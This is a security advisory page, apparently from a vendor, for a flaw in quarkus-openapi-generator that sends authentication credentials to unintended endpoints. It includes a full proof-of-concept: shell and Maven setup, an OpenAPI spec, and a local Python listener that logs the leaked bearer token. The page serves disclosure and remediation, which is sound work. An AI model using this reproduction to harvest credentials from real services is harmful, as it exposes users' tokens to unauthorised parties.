GHSA-fr8f-rwjx-f32v — quarkus-openapi-generator
Fix: quarkiverse/quarkus-openapi-generator#1586GHSA-fr8f-rwjx-f32v is a Information Exposure vulnerability in io.quarkiverse.openapi.generator:quarkus-openapi-generator. A fix is available for io.quarkiverse.openapi.generator:quarkus-openapi-generator — see the affected versions and patch details below.
quarkus-openapi-generator has overly broad path-parameter matching that sends authentication headers to unintended operations
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-fr8f-rwjx-f32v.
EPSS Exploitation Probability
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Real-World Exposure
io.quarkiverse.openapi.generator:quarkus-openapi-generator☕io.quarkiverse.openapi.generator:quarkus-openapi-generatorReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The generated authentication filter matches OpenAPI path templates too broadly when deciding whether to attach credentials. A security scheme configured for one operation can therefore be applied to a different same-method operation whose path only partially resembles the protected template, causing bearer tokens, API keys, or basic credentials to be sent to unintended endpoints.
Details
The runtime authentication layer selects credentials by comparing the outgoing request path and method against the set of protected OpenAPI operations. Path-template matching treats {param} placeholders as .*, which incorrectly allows a single path parameter to consume /.
As a result, a protected path such as /repos/{ref} also matches /repos/foo/bar, even though /repos/{owner}/{repo} is a different operation. When a client invokes the unprotected operation, the authentication filter still concludes that the protected operation matched and attaches its credentials.
This affects authentication providers that rely on the shared path-matching logic, including bearer, OAuth, API-key, and basic authentication. The issue is reachable through normal generated-client usage and does not require modifying generated code.
PoC
mkdir -p /tmp/qoag-poc/src/main/java/org/acme
mkdir -p /tmp/qoag-poc/src/main/resources
mkdir -p /tmp/qoag-poc/src/main/openapi
cat > /tmp/qoag-poc/pom.xml <<'EOF'
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.acme</groupId>
<artifactId>qoag-poc</artifactId>
<version>1.0.0</version>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.release>17</maven.compiler.release>
<quarkus.platform.group-id>io.quarkus</quarkus.platform.group-id>
<quarkus.platform.artifact-id>quarkus-bom</quarkus.platform.artifact-id>
<quarkus.platform.version>3.34.3</quarkus.platform.version>
<qoag.version>2.16.0</qoag.version>
</properties>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>${quarkus.platform.group-id}</groupId>
<artifactId>${quarkus.platform.artifact-id}</artifactId>
<version>${quarkus.platform.version}</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>
<dependencies>
<dependency>
<groupId>io.quarkiverse.openapi.generator</groupId>
<artifactId>quarkus-openapi-generator</artifactId>
<version>${qoag.version}</version>
</dependency>
<dependency>
<groupId>io.quarkus</groupId>
<artifactId>quarkus-rest</artifactId>
</dependency>
<dependency>
<groupId>io.quarkus</groupId>
<artifactId>quarkus-rest-client-jackson</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>io.quarkus</groupId>
<artifactId>quarkus-maven-plugin</artifactId>
<version>${quarkus.platform.version}</version>
<extensions>true</extensions>
<executions>
<execution>
<goals>
<goal>build</goal>
<goal>generate-code</goal>
<goal>generate-code-tests</goal>
</goals>
</execution>
</executions>
</plugin>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.14.0</version>
<configuration>
<parameters>true</parameters>
</configuration>
</plugin>
</plugins>
</build>
</project>
EOF
cat > /tmp/qoag-poc/src/main/openapi/repro.yaml <<'EOF'
openapi: 3.0.3
info:
title: repro
version: 1.0.0
paths:
/repos/{ref}:
get:
operationId: getRef
parameters:
- in: path
name: ref
required: true
schema:
type: string
security:
- bearerAuth: []
responses:
"200":
description: ok
content:
text/plain:
schema:
type: string
/repos/{owner}/{repo}:
get:
operationId: getOwnerRepo
parameters:
- in: path
name: owner
required: true
schema:
type: string
- in: path
name: repo
required: true
schema:
type: string
responses:
"200":
description: ok
content:
text/plain:
schema:
type: string
components:
securitySchemes:
bearerAuth:
type: http
scheme: bearer
EOF
cat > /tmp/qoag-poc/src/main/resources/application.properties <<'EOF'
quarkus.http.port=8081
quarkus.openapi-generator.codegen.default-security-scheme=bearerAuth
quarkus.openapi-generator.codegen.spec.repro_yaml.base-package=org.acme.repro
quarkus.rest-client.repro_yaml.url=http://127.0.0.1:18080
quarkus.openapi-generator.repro_yaml.auth.bearerAuth.bearer-token=SECRET
EOF
cat > /tmp/qoag-poc/src/main/java/org/acme/TriggerResource.java <<'EOF'
package org.acme;
import jakarta.ws.rs.GET;
import jakarta.ws.rs.Path;
import jakarta.ws.rs.Produces;
import jakarta.ws.rs.core.MediaType;
import org.eclipse.microprofile.rest.client.inject.RestClient;
@Path("/trigger")
public class TriggerResource {
@RestClient
org.acme.repro.api.DefaultApi api;
@GET
@Produces(MediaType.TEXT_PLAIN)
public String trigger() {
api.getOwnerRepo("foo", "bar");
return "done";
}
}
EOF
python - <<'PY' &
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
print("PATH=" + self.path, flush=True)
print("AUTH=" + str(self.headers.get("Authorization")), flush=True)
self.send_response(200)
self.end_headers()
self.wfile.write(b"ok")
def log_message(self, fmt, *args):
pass
HTTPServer(("127.0.0.1", 18080), H).serve_forever()
PY
cd /tmp/qoag-poc
mvn -q package -DskipTests
java -jar target/quarkus-app/quarkus-run.jar &
sleep 8
curl -s http://127.0.0.1:8081/trigger
# PATH=/repos/foo/bar
# AUTH=Bearer SECRET
Impact
Clients generated from an OpenAPI specification can send authentication credentials to endpoints that were not intended to receive them. In practice, this can disclose bearer tokens, API keys, or basic credentials to lower-trust routes on the same service, cause public operations to be invoked with privileged credentials, and blur the intended security boundary between protected and unprotected operations.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | io.quarkiverse.openapi.generator:quarkus-openapi-generator | all versions | 2.16.0-ltsio.quarkiverse.openapi.generator:quarkus-openapi-generator:2.16.0-lts |
| ☕Maven | io.quarkiverse.openapi.generator:quarkus-openapi-generator | ≥ 2.16.0&&< 2.17.0 | 2.17.0io.quarkiverse.openapi.generator:quarkus-openapi-generator:2.17.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.quarkiverse.openapi.generator:quarkus-openapi-generator, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update io.quarkiverse.openapi.generator:quarkus-openapi-generator to 2.16.0-lts or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fr8f-rwjx-f32v is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-fr8f-rwjx-f32v can be triaged on real exposure rather than presence alone.
Tailored to GHSA-fr8f-rwjx-f32v. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fr8f-rwjx-f32v in your dependencies?
O3 Security finds GHSA-fr8f-rwjx-f32v across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.